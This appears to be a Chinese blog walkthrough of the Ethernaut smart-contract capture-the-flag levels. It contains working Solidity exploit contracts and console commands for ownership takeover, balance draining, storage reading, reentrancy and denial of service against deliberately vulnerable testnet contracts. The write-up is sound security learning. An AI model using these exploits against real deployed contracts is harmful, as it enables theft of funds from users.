Ethernaut 是一个部署在 Ropsten 测试网络上面的智能合约代码审计类题目,网址:https://ethernaut.openzeppelin.com
多次尝试之后,在我要放弃的时候竟然可以了!?
出现这三个东西的时候就可以了,如果不行:科学上网,重启 MetaMask 插件,甚至换个浏览器、换台电脑都可以试试,总有一个适合你 😜 (这些地址露出来应该没事吧)反正测试网络、反正我没钱。只要我一无所有,我就不怕被利用 2333
image.png
配置 先说一下开始之前的配置,首先要下一个插件,叫 MetaMask,跟着提示做就好了,然后我们需要点以太币来做题,因为我们用的是测试网络,所以有白嫖的方法,不用挖矿啥的
image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588575895199-fc51f4c7-3c45-47cc-a81b-22ec4f001267.png#align=left&display=inline&height=318&margin=%5Bobject%20Object%5D&name=image.png&originHeight=635&originWidth=460&size=45998&status=done&style=stroke&width=230) ![image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588575922220-60c7cd33-3a47-4683-b4b1-3a5aaa1bf9ff.png#align=left&display=inline&height=281&margin=%5Bobject%20Object%5D&name=image.png&originHeight=560&originWidth=451&size=25409&status=done&style=stroke&width=226) ![image.png
如果不能展示这个页面,可以试试换个电脑试试,我就是笔记本死活打不开,非要说我在主网上,然后把之前生成账号的那 12 个单词保存下来,用我家台式机登上获取了五个(最多能拿五个,另外后来发现我笔记本 360 浏览器能访问,chrome 不行)
image.png
在题目网站里面摁下 F12 打开控制台,然后输入 player,如果能展示出跟你 metamask 插件一样的地址的话,就说明环境没问题了
image.png
Hello Ethernaut 输入 player 就可以看到你的地址
image.png
getBalance(player) 查看以太币余额
image.png
chrome v62 以上的版本,可以用 await getBalance(player) 更简洁
image.png
ethernaut 可以查看合约,但是对于菜鸡来说是没有用的
image.png
await ethernaut.owner() 可以看一下合约的拥有者
image.png
上面并不是这个游戏的关卡,只是一些简单的命令,让你了解了解 玩游戏时,不会直接与 ethernaut 合约进行交互。它会给你生成一个关卡实例。只要单击页面底部的蓝色按钮就可以生成。metamask 会弹一个框,确认就行
image.png
image.png
题目同时给出了源码,你可以从 info() 开始执行,根据提示,一步一步走
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pragma solidity ^0.4 .18 ; contract Instance { string public password; uint8 public infoNum = 42 ; string public theMethodName = 'The method name is method7123949.' ; bool private cleared = false ; function Instance (string _password ) public { password = _password; } function info ( ) public pure returns (string ) { return 'You will find what you need in info1().' ; } function info1 ( ) public pure returns (string ) { return 'Try info2(), but with "hello" as a parameter.' ; } function info2 (string param ) public pure returns (string ) { if (keccak256(param) == keccak256('hello' )) { return 'The property infoNum holds the number of the next info method to call.' ; } return 'Wrong parameter.' ; } function info42 ( ) public pure returns (string ) { return 'theMethodName is the name of the next method.' ; } function method7123949 ( ) public pure returns (string ) { return 'If you know the password, submit it to authenticate().' ; } function authenticate (string passkey ) public { if (keccak256(passkey) == keccak256(password)) { cleared = true ; } } function getCleared ( ) public view returns (bool ) { return cleared; } }
就像这样
image.png
等他处理完就可以点击黄色按钮提交了
image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588577816582-58ee752e-1206-4e71-841c-10e7a5e74266.png#align=left&display=inline&height=332&margin=%5Bobject%20Object%5D&name=image.png&originHeight=768&originWidth=520&size=33836&status=done&style=stroke&width=225)![image.png
也可以直接看源码,想要通过的话,也就是想要改变 cleared 的话,需要调用 authenticate,并且传入 passkey 与 password 进行 hash 的比较。可以看前面第三行,password 的定义是 public 的,所以可以直接:
1 2 await contract.password();await contract.authenticate("ethernaut0" );
image.png
完成的标志
image.png
Fallback 通关条件: 获得合约的所有权 把余额减少成 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4 .18 ; import 'zeppelin-solidity/contracts/ownership/Ownable.sol' ;import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions; function Fallback ( ) public { contributions[msg.sender] = 1000 * (1 ether); } function contribute ( ) public payable { require (msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution ( ) public view returns (uint ) { return contributions[msg.sender]; } function withdraw ( ) public onlyOwner { owner.transfer(this .balance); } function ( ) payable public { require (msg.value > 0 && contributions[msg.sender] > 0 ); owner = msg.sender; } }
思路:首先贡献一点金额,来通过 require 触发 fallback 函数,来成为合约的所有者,然后 withdraw 函数转走合约中的所有钱
贡献金额 contract.contribute({value:1})
这个 1 代表 1 wei,是以太币最小的单位 查看一下合约中的余额 await getBalance(instance)
image.png
await contract.owner() 先看一下合约所有者 补充: 触发 fallback 函数的条件:
当调用一个不存在的函数的时候
发送没有数据的纯 ether 时
所以我们可以通过 await contract.sendTransaction({value: 1}) 来发送触发 fallback 函数
这时候合约所有者就是我们了
image.png
现在我们已经是合约的所有者了,可以调用那个 withdraw 函数来提现了
一开始合约中有 0.000…00002 执行 contract.withdraw() 之后合约里没钱了
image.png
目标完成,提交,通过!
image.png
Fallout 目标:获得合约所有权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pragma solidity ^0.4 .18 ; import 'zeppelin-solidity/contracts/ownership/Ownable.sol' ;import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; function Fal1out ( ) public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate ( ) public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation (address allocator ) public { require (allocations[allocator] > 0 ); allocator.transfer(allocations[allocator]); } function collectAllocations ( ) public onlyOwner { msg.sender.transfer(this .balance); } function allocatorBalance (address allocator ) public view returns (uint ) { return allocations[allocator]; } }
先看一下一开始合约的所有者,直接调用 Fal1out() 函数,再看一下
image.png
image.png
Coin Flip 猜硬币游戏 目标:连续猜对十次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4 .18 ; import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; function CoinFlip ( ) public { consecutiveWins = 0 ; } function flip (bool _guess ) public returns (bool ) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1 ))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false ; if (side == _guess) { consecutiveWins++; return true ; } else { consecutiveWins = 0 ; return false ; } } }
首先获取一个实例,然后拿到合约的地址以及 consecutiveWins 的值
image.png
我们来考虑一下,应该怎么实现攻击,首先,我们已经知道他的算法是怎么样的了,而且它用来计算的东西我们同样可以找到,所以,我们完全可以先进行计算,把结果在给他发过去就好啦
exp 如下,把 exp 代码复制到 remix IDE 中,部署 exploit 合约(要用之前得到的那个合约地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 pragma solidity ^0.4 .18 ; import './SafeMath.sol' ;contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; function CoinFlip ( ) public { consecutiveWins = 0 ; } function flip (bool _guess ) public returns (bool ) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1 ))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false ; if (side == _guess) { consecutiveWins++; return true ; } else { consecutiveWins = 0 ; return false ; } } } contract attack{ uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; CoinFlip expFlip = CoinFlip(0xaf32f2862fb9b6f7dfe113122cd6891f8f81acb9 ); function pwn ( ) { uint256 blockValue = uint256(block.blockhash(block.number-1 )); uint256 coinFlip = blockValue /FACTOR; bool side = coinFlip == 1 ? true : false ; expFlip.flip(side); } }
这里也贴一下 SafeMath.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pragma solidity ^0.4 .18 ; library SafeMath { function mul (uint256 a, uint256 b ) internal pure returns (uint256 ) { if (a == 0 ) { return 0 ; } uint256 c = a * b; assert(c / a == b); return c; } function div (uint256 a, uint256 b ) internal pure returns (uint256 ) { uint256 c = a / b; return c; } function sub (uint256 a, uint256 b ) internal pure returns (uint256 ) { assert(b <= a); return a - b; } function add (uint256 a, uint256 b ) internal pure returns (uint256 ) { uint256 c = a + b; assert(c >= a); return c; } }
image.png
首先,生成题目实例,复制题目合约的地址
image.png
使用 http://remix.ethereum.org 部署我们的 attack 合约,把题目合约地址复制给他的构造函数,然后 Deploy 部署
image.png
点击 pwn 来攻击
image.png
image.png
在题目的控制台看一下连胜次数,直到 c 的值成了 10,就可以点击橙色提交啦
image.png
成功!
image.png
Telephone 目标:获得合约所有权
1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.4 .18 ; contract Telephone { address public owner; function Telephone ( ) public { owner = msg.sender; } function changeOwner (address _owner ) public { if (tx.origin != msg.sender) { owner = _owner; } } }
画个图了解一下 tx.origin 与 msg.sender 的区别(对于最右边的来说)
image.png
很明显,想要让 tx.origin 跟 msg.sender 不同,我们只需要部署一个合约,通过这个合约去调用题目合约的 changeOwner 就可以啦
首先 await contract.owner() 看一下现在合约的所有者
image.png
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.4 .18 ; contract Telephone { address public owner; function Telephone ( ) public { owner = msg.sender; } function changeOwner (address _owner ) public { if (tx.origin != msg.sender) { owner = _owner; } } } contract attack{ Telephone hacked = Telephone(0xad9337ea22bcb2b93e7a4b73b02aba243fa0a229 ); function pwn { hacked.changeOwner(msg.sender); } }
部署之后,点击 hack 就可以啦
image.png
再看一下,合约所有者已经变了
image.png
提交就好啦
image.png
Token 目标:获取更多的 token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pragma solidity ^0.4 .18 ; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token (uint _initialSupply ) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer (address _to, uint _value ) public returns (bool ) { require (balances[msg.sender] - _value >= 0 ); balances[msg.sender] -= _value; balances[_to] += _value; return true ; } function balanceOf (address _owner ) public view returns (uint balance ) { return balances[_owner]; } }
一开始是这样的,初始合约是 20,当我们转一个比 20 大的数的时候 20-_value 就会下溢 uint256 的取值范围是 [0-2^256-1],所以如果我们转 21 的话 20-21 = -1,也就是过了 0 到了 2^256-1
image.png
await contract.transfer(‘0x3C7f1E9B49B2f7c92e25224199d05D5Cb6923820’,30) 随便找个地址转账(我把我地址最后一位改成了 0)完了之后是这样的,提交就可以啦
image.png
image.png
Delegation 目标:拥有所有权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pragma solidity ^0.4 .18 ; contract Delegate { address public owner; function Delegate (address _owner ) public { owner = _owner; } function pwn ( ) public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation (address _delegateAddress ) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function ( ) public { if (delegate.delegatecall(msg.data)) { this ; } } }
我们要做的就是通过 delegatecall 来调用 pwn 函数,正如注释中说的那样,delegatecall 函数需要所用到的信息比如代码中的 msg.sender 就是这个合约的,所以只要我们构造一下 msg.data 就能够去调用 pwn 函数
当给 call 传入的第一个参数是 4 字节的时候,call 就会把这个参数作为要调用的函数,这个参数在以太坊的函数选择器的生成规则里是函数签名的 sha3 的前 4 个字节,接下来我们要做的就是触发回退函数,来执行 pwn 函数
可以使用 sendTransaction:contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
slice 为提取字符串的前 10 个字符,四个字节,就是 10 个字符(例:0x34567890)
image.png
image.png
Force 目标:让合约中有钱
1 2 3 4 5 6 7 8 9 10 11 pragma solidity ^0.4 .18 ; contract Force { }
什么代码都没有,但是有一种自毁合约的方法 selfdestruct,这种方法会把合约中剩余的钱强制转到某一个地址 在 remix 里面部署一个合约
1 2 3 4 5 6 7 pragma solidity ^0.4 .20 ; contract exp { function exp ( ) public payable {} function exploit (address _target ) public { selfdestruct(_target); } }
image.png
调用 exploit 函数,自毁合约,同时把地址填成题目的合约地址
image.png
余额已经不是 0 了
image.png
这时候提交就可以啦
image.png
Vault 目标:解锁 vault
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pragma solidity ^0.4 .18 ; contract Vault { bool public locked; bytes32 private password; function Vault (bytes32 _password ) public { locked = true ; password = _password; } function unlock (bytes32 _password ) public { if (password == _password) { locked = false ; } } }
只要密码对了就行,我们不知道它定义的密码是什么,而且 password 变量是 private 的,但是在区块里面数据是透明的,私有变量标记只能阻止其他合约访问它。标记为私有变量或局部变量的状态变量,仍然可被公开访问到
getStorageAt 第一个参数是合约地址,后面是参数的位置,参数的位置是按照声明的顺序来排的,这里的 locked 是第一个所以是 0,password 是第二个,位置就是 1
image.png
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}) //可以 alert 的方式将该地址的第 2 个值转化 ascii 显示
image.png
web3.eth.getStorageAt(contract.address, 1, function(x, y){console.info(web3.toAscii(y))}) //也可以在控制台直接输出
image.png
提交 await contract.unlock(“A very strong secret password :)”) 查看一下,已经解锁了,提交就可以了
image.png
image.png
King 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pragma solidity ^0.4 .18 ; import 'zeppelin-solidity/contracts/ownership/Ownable.sol' ;contract King is Ownable { address public king; uint public prize; function King ( ) public payable { king = msg.sender; prize = msg.value; } function ( ) external payable { require (msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } }
谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份
1 2 3 4 5 6 7 8 9 10 11 pragma solidity ^0.4 .18 ; contract attack{ function attack (address _addr ) public payable { _addr.call.gas(10000000 ).value(msg.value)(); } function ( ) public { revert(); } }
用 remix 部署合约,只需要构造一个没有 payable 的回退函数,就接收不到金额了
image.png
king 变成了攻击合约的地址(我截图乱套了,不知道哪一次的了,反正是通过了)
image.png
image.png
image.png
Re-entrancy 目标:拿到合约里面的所有资金
这个题老版本失败!白往里面放了那么多钱!!! 用新版本的成功了 **
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.5 .0 ; import 'openzeppelin-solidity/contracts/math/SafeMath.sol' ;contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate (address _to ) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf (address _who ) public view returns (uint balance ) { return balances[_who]; } function withdraw (uint _amount ) public { if (balances[msg.sender] >= _amount) { (bool result, bytes memory data) = msg.sender.call.value(_amount)("" ); if (result) { _amount; } balances[msg.sender] -= _amount; } } function ( ) external payable {} }
因为他是提现完成之后才修改账户余额的,可以使用重入攻击 另外常用转币方式有三种,题目中用了第三种方法
.reansfer()
发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入
.send()
发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入
.gas().call.value()()
当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击
用的是这个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.6 .4 ; import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol' ;contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate (address _to ) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf (address _who ) public view returns (uint balance ) { return balances[_who]; } function withdraw (uint _amount ) public { if (balances[msg.sender] >= _amount) { (bool result, bytes memory data) = msg.sender.call.value(_amount)("" ); if (result) { _amount; } balances[msg.sender] -= _amount; } } fallback() external payable {} } contract Reenter { Reentrance reentranceContract; uint public amount = 1 ether; constructor (address payable reentranceContactAddress) public payable { reentranceContract = Reentrance(reentranceContactAddress); } function initiateAttack ( ) public { reentranceContract.donate{value :amount}(address(this )); reentranceContract.withdraw(amount); } fallback() external payable { if (address(reentranceContract).balance >= 0 ) { reentranceContract.withdraw(amount); } } }
部署的时候给他 1 ether,然后使用 initiateAttack 就可以啦 **
image.png
**
image.png
** 执行后 **
image.png
image.png